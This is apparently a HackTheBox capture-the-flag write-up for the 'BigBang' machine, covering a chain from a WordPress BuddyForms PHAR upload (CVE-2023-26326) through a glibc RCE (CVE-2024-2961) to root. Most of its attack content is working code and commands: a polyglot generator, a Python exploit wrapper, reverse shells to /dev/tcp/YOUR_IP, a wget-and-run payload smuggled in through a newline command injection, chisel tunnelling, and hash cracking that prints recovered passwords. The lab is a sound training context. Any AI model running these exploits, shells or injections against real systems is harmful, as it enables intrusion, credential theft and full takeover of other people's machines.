BigBang - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐⭐⭐☆
• CTF-like: ⭐⭐⭐⭐☆

Summary

BigBang is a hard difficulty Linux machine featuring a WordPress site vulnerable to CVE-2023-26326 in the BuddyForms plugin, allowing PHAR/GIF polyglot file uploads. While initial exploitation attempts fail due to PHP 8.3 restrictions, the uploaded file becomes a leverage point for reading arbitrary files via PHP filters and wrapwrap. This enables exploitation of CVE-2024-2961 (Glibc vulnerability) for remote code execution. Post-exploitation reveals WordPress database credentials, leading to password hash extraction and cracking to obtain access as the shawking user. Further enumeration uncovers a Grafana database with additional password hashes for the developer user. Privilege escalation involves analyzing an Android APK in the developer’s home directory, exploiting a command injection vulnerability (bypassing blacklist filters via newline characters) in the satellite app’s backend API to achieve root access.

TL;DR: CVE-2023-26326 (file upload) → CVE-2024-2961 (Glibc RCE) → WordPress DB → Hash cracking (shawking) → Grafana DB → Hash cracking (developer) → APK analysis → Command injection (newline bypass) → Root shell

Reconnaissance

Port Scanning

nmap -p- --min-rate=1000 -sC -sV 10.10.11.52

Results:

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10
80/tcp   open  http    Apache httpd 2.4.62 (WordPress 6.5.4)

The target runs Ubuntu Linux with SSH on port 22 and an Apache web server hosting WordPress on port 80. Initial HTTP access redirects to blog.bigbang.htb, requiring a DNS entry.

Service Enumeration

Add the domain to /etc/hosts:

echo "10.10.11.52 blog.bigbang.htb" | sudo tee -a /etc/hosts

Navigate to http://blog.bigbang.htb in the browser to view the WordPress site homepage.

WordPress plugin enumeration using wpscan:

wpscan --url http://blog.bigbang.htb/ --plugins-detection aggressive

Key Finding: BuddyForms plugin version 2.7.7 is installed, which is vulnerable to CVE-2023-26326.

Vulnerability Assessment

• CVE-2023-26326: Unauthenticated insecure deserialization in BuddyForms < 2.7.8. The buddyforms_upload_image_from_url() function accepts unsanitized URL parameters and processes them with getimagesize(), triggering PHAR deserialization if a phar:// URL is supplied.
• CVE-2024-2961: Remote code execution in PHP applications exposing file read primitives via crafted glibc exploitation chains.
• Android APK Command Injection: Backend API vulnerable to newline-based command injection in the satellite app.

Initial Foothold

Exploitation Path

Step 1: Create Malicious PHAR/GIF Polyglot File

Create a PHP script to generate a PHAR archive disguised as a GIF:

<?php

class Evil {
    public function __wakeup() : void {
        die("Arbitrary Deserialization");
    }
}

// Create new Phar
$phar = new Phar('evil.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("GIF89a\n<?php __HALT_COMPILER(); ?>");

// Add object of any class as metadata
$object = new Evil();
$phar->setMetadata($object);
$phar->stopBuffering();
?>

Generate the PHAR file:

php --define phar.readonly=0 evil.php

Verify it contains the GIF header:

strings evil.phar | head -n 3
# Output should show: GIF89a

Step 2: Host PHAR File and Trigger Upload

Start a Python HTTP server:

python3 -m http.server 80

Intercept a request to http://blog.bigbang.htb/wp-admin/admin-ajax.php using BurpSuite and send a POST request with the following body:

action=upload_image_from_url&url=http://YOUR_IP/evil.phar&id=10&accepted_files=image/gif,,

The server responds with a successful upload to /wp-content/uploads/2025/05/1.png.

Step 3: Exploit CVE-2024-2961 Using wrapwrap

Since direct PHAR execution fails on PHP 8.3, use the file read primitive instead. Clone wrapwrap:

git clone https://github.com/ambionics/wrapwrap.git
cd wrapwrap

Generate a filter chain to read /proc/self/maps:

./wrapwrap.py /proc/self/maps 'GIF89aXXXX' '' 0

This outputs a filter chain to chain.txt. Verify it works:

php -r "print(file_get_contents('<wrapwrap_chain_output>'));" | head -c 50

Step 4: Modify CVE-2024-2961 Exploit for BuddyForms

Create an exploit script that integrates the wrapwrap file read primitive:

import requests
import json
import subprocess
import os

class BigBangExploit:
    def __init__(self, url):
        self.url = url
        self.session = requests.Session()

    def read_file(self, path):
        """Exploit CVE-2024-2961 via BuddyForms file read"""
        # Generate wrapwrap chain for the requested file
        chain_output = subprocess.check_output(
            f"./wrapwrap.py {path} 'GIF89aXXXX' '' 0",
            shell=True, cwd="/path/to/wrapwrap"
        ).decode().strip()

        # Read chain from chain.txt
        with open("chain.txt", "r") as f:
            chain = f.read().strip()

        # Send upload request with filter chain
        response = self.session.post(
            f"{self.url}/wp-admin/admin-ajax.php",
            data={
                "action": "upload_image_from_url",
                "url": chain,
                "id": "10",
                "accepted_files": "image/gif,,"
            }
        )

        # Extract uploaded file URL
        result = json.loads(response.content.decode())
        image_url = result.get("response", "")

        # Fetch the uploaded file content
        file_content = self.session.get(image_url).content

        # Strip GIF header (first 12 bytes)
        return file_content[12:]

# Execute exploit
exploit = BigBangExploit("http://blog.bigbang.htb")

# Read /proc/self/maps to extract libc base and heap addresses
maps_content = exploit.read_file("/proc/self/maps")
print("[*] Retrieved /proc/self/maps")

# Read libc binary
libc_content = exploit.read_file("/usr/lib/x86_64-linux-gnu/libc.so.6")
print("[*] Retrieved libc binary")

# Patch the exploit script to add 16 null bytes to account for truncation
with open("libc_file", "wb") as f:
    f.write(libc_content)
    f.write(b'\x00' * 16)  # Add padding for glibc compatibility

Step 5: Execute RCE via CVE-2024-2961

Start a netcat listener:

nc -nvlp 1337

Run the full exploit:

python3 exploit.py http://blog.bigbang.htb 'bash -c "bash -i >& /dev/tcp/YOUR_IP/1337 0>&1"'

Expected output:

/proc/self/maps
http://blog.bigbang.htb/wp-content/uploads/2025/05/10-6.png
[*] Potential heaps: 0x7f17b0a00040, 0x7f17b0800040, 0x7f17af200040, 0x7f17acc00040, 0x7f17abc00040 (using first)
/usr/lib/x86_64-linux-gnu/libc.so.6
http://blog.bigbang.htb/wp-content/uploads/2025/05/10-7.png
[*] EXPLOIT SUCCESS

Receive reverse shell as www-data:

www-data@8e3a72b5e980:/var/www/html/wordpress/wp-admin$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Privilege Escalation

Lateral Movement: www-data → shawking

Step 1: Extract WordPress Database Credentials

Read the WordPress configuration:

cat /var/www/html/wordpress/wp-config.php

Extract credentials:

DB_NAME: wordpress
DB_USER: wp_user
DB_PASSWORD: wp_password
DB_HOST: 172.17.0.1:3306

Step 2: Set Up Port Forwarding with Chisel

Transfer chisel binary:

# On attacker machine
python3 -m http.server 80

# On target
wget http://YOUR_IP/chisel
chmod +x chisel

Start chisel server on attacker:

./chisel server -p 1234 --reverse

Forward MySQL from target:

./chisel client YOUR_IP:1234 R:3306:172.17.0.1:3306

Step 3: Crack WordPress User Passwords

Connect to MySQL:

mysql -u wp_user -p -h 127.0.0.1
# Password: wp_password

Extract user hashes:

use wordpress;
select user_login, user_pass from wp_users;

Results:

root        | $P$Beh5HLRUlTi1LpLEAstRyXaaBOJICj1
shawking    | $P$Br7LUHG9NjNk6/QSYm2chNHfxWdoK./

Crack the shawking hash:

echo '$P$Br7LUHG9NjNk6/QSYm2chNHfxWdoK./' > shawking.hash
john -w=/usr/share/wordlists/rockyou.txt shawking.hash --fork=4

Output: quantumphysics

Step 4: SSH Access as shawking

ssh shawking@10.10.11.52
# Password: quantumphysics

Verify access:

shawking@bigbang:~$ id
uid=1001(shawking) gid=1001(shawking) groups=1001(shawking)

Retrieve user flag:

cat /home/shawking/user.txt

Lateral Movement: shawking → developer

Step 1: Discover Grafana Database

Enumerate filesystem:

ls -la /opt/data/

Find grafana.db with read permissions. Verify Grafana runs on port 3000:

netstat -l | grep 3000
curl localhost:3000/login

Step 2: Extract and Crack Grafana Hashes

Transfer the database:

scp shawking@10.10.11.52:/opt/data/grafana.db .

Verify file type:

file grafana.db
# SQLite 3.x database

Query user credentials:

sqlite3 grafana.db "select id, login, password, salt from user;"

Results:

1 | admin    | 441a715bd788e928170be7954b17cb19de835a2dedfdece8c65327cb1d9ba6bd47d70edb7421b05d9706ba6147cb71973a34 | CFn7zMsQpf
2 | developer | 7e8018a4210efbaeb12f0115580a476fe8f98a4f9bada2720e652654860c59db93577b12201c0151256375d6f883f1b8d960 | 4umebBJucv

Step 3: Convert and Crack Developer Hash

Use grafana2hashcat:

# Create input file
echo "7e8018a4210efbaeb12f0115580a476fe8f98a4f9bada2720e652654860c59db93577b12201c0151256375d6f883f1b8d960,4umebBJucv" > dev_hash

# Convert to hashcat format
python3 grafana2hashcat.py dev_hash

# Extract output
sha256:10000:NHVtZWJCSnVjdg==:foAYpCEO+66xLwEVWApHb+j5ik+braJyDmUmVIYMWduTV3sSIBwBUSVjddb4g/G42WA=

Crack with hashcat:

echo "sha256:10000:NHVtZWJCSnVjdg==:foAYpCEO+66xLwEVWApHb+j5ik+braJyDmUmVIYMWduTV3sSIBwBUSVjddb4g/G42WA=" > hashcat_hashes
hashcat -m 10900 hashcat_hashes /usr/share/wordlists/rockyou.txt

Output: bigbang

Step 4: SSH Access as developer

ssh developer@10.10.11.52
# Password: bigbang

Privilege Escalation: developer → root

Step 1: Discover Android APK

List developer home directory:

ls -la /home/developer/
ls -la /home/developer/android/

Find satellite-app.apk.

Step 2: Set Up Genymotion Android Emulator

Install dependencies:

sudo apt install virtualbox adb
chmod +x genymotion-3.7.1-linux_x64.bin
./genymotion-3.7.1-linux_x64.bin

Configure VirtualBox as hypervisor, add Google Pixel 3XL device.

Step 3: Install Burp Suite Certificate

Fetch BurpSuite cert:

curl 127.0.0.1:8080/cert -o burp.der
openssl x509 -inform der -in burp.der -out burp.pem

Determine certificate filename:

openssl x509 -inform PEM -subject_hash_old -in burp.pem
# Output: 9a5ba575

Rename and push to device:

mv burp.pem 9a5ba575.0

adb shell
# Remount root filesystem as writable
su
mount -o remount,rw /
exit
exit

# Push certificate
adb push 9a5ba575.0 /system/etc/security/cacerts

Step 4: Configure Proxy

adb shell settings put global http_proxy 127.0.0.1:8080

Step 5: Install APK and Configure DNS

Drag APK onto virtual device to install. Configure /etc/hosts on both device and host:

Device:

adb shell
su
mount -o remount,rw /
echo "YOUR_HOST_IP app.bigbang.htb" >> /etc/hosts
exit
exit

Host:

echo "127.0.0.1 app.bigbang.htb" | sudo tee -a /etc/hosts

Step 6: Analyze App and Exploit Command Injection

Launch the app and log in with credentials developer:bigbang.

Intercept the “Take a Picture” request in BurpSuite. The API expects:

{
  "command": "capture_satellite",
  "output_file": "/path/to/file.png"
}

Test command injection by appending newline character \n:

output_file: /tmp/test.png
test_command

Confirm command execution with ICMP ping:

# Modify payload to:
# ping -c 1 YOUR_IP

tcpdump -i tun0 icmp
# Should see ICMP echo requests from target

Step 7: Achieve Root Shell

Create reverse shell payload:

cat > shell.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/YOUR_IP/1337 0>&1
EOF

Host the payload:

python3 -m http.server 80

Intercept the “Take a Picture” request and inject command to download and execute:

output_file: /tmp/satellite.png
wget http://YOUR_IP/shell.sh -O /tmp/shell.sh && bash /tmp/shell.sh

Start netcat listener:

nc -nvlp 1337

Send the injected request from BurpSuite. Receive root shell:

root@bigbang:/# id
uid=0(root) gid=0(root) groups=0(root)

Retrieve root flag:

cat /root/root.txt

Attack Chain Summary

BuddyForms CVE-2023-26326 (PHAR upload)
    ↓
Arbitrary file read via wrapwrap + PHP filters
    ↓
CVE-2024-2961 Glibc RCE exploitation
    ↓
www-data shell on target
    ↓
Extract WordPress DB credentials
    ↓
MySQL lateral movement via Chisel port forwarding
    ↓
Crack WordPress password hashes (john)
    ↓
SSH access as shawking user
    ↓
Extract Grafana database credentials
    ↓
Crack Grafana password hashes (hashcat)
    ↓
SSH access as developer user
    ↓
Analyze Android APK with Genymotion + BurpSuite
    ↓
Discover command injection (newline bypass) in satellite app API
    ↓
Remote code execution as root
    ↓
Root access achieved

Tools Used

Key Learnings

Techniques Practiced

• Exploiting insecure deserialization vulnerabilities (CVE-2023-26326)
• Leveraging file read primitives as stepping stones to RCE
• Glibc exploitation via CVE-2024-2961 in PHP environments
• Database enumeration and credential extraction from WordPress/Grafana
• Password hash cracking using wordlist and GPU methods
• Port forwarding techniques (Chisel) for internal service access
• Android APK analysis and dynamic testing with emulators
• Burp Suite proxy configuration for mobile app interception
• Certificate management for HTTPS inspection
• Command injection filter bypass using alternative delimiters (newline)

Lessons Learned

1. Defense in Depth Matters: A single CVE (BuddyForms upload) alone doesn’t guarantee RCE; chaining multiple vulnerabilities (file read + Glibc exploit) was necessary for success.

2. Blacklist Filters Are Weak: The Android app’s command injection protection relied on blacklisting common shell metacharacters, but overlooked the newline character—a reminder that whitelisting is superior.

3. Database Enumeration Pays Off: Post-exploitation file access to configuration files (wp-config.php, grafana.db) revealed multiple sets of credentials, enabling lateral movement across privilege levels.

4. Hash Cracking Requires Context: Using tool-specific hash converters (grafana2hashcat) was necessary to properly format hashes for GPU cracking, emphasizing the importance of understanding underlying hash formats.

5. Android App Security Testing is Complex: Proper testing required emulation setup, certificate installation, DNS configuration, and proxy routing—a multi-step process that highlights why mobile apps are a unique attack surface.

6. Polyglot Files Enable Bypass: Creating files that satisfy multiple file type checks (PHAR disguised as GIF) is a powerful technique for evading content-type validation.

7. Port Forwarding Unlocks Internal Services: Services bound to localhost (MySQL, Grafana) are often overlooked; tunneling tools like Chisel can expose them to remote exploitation.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>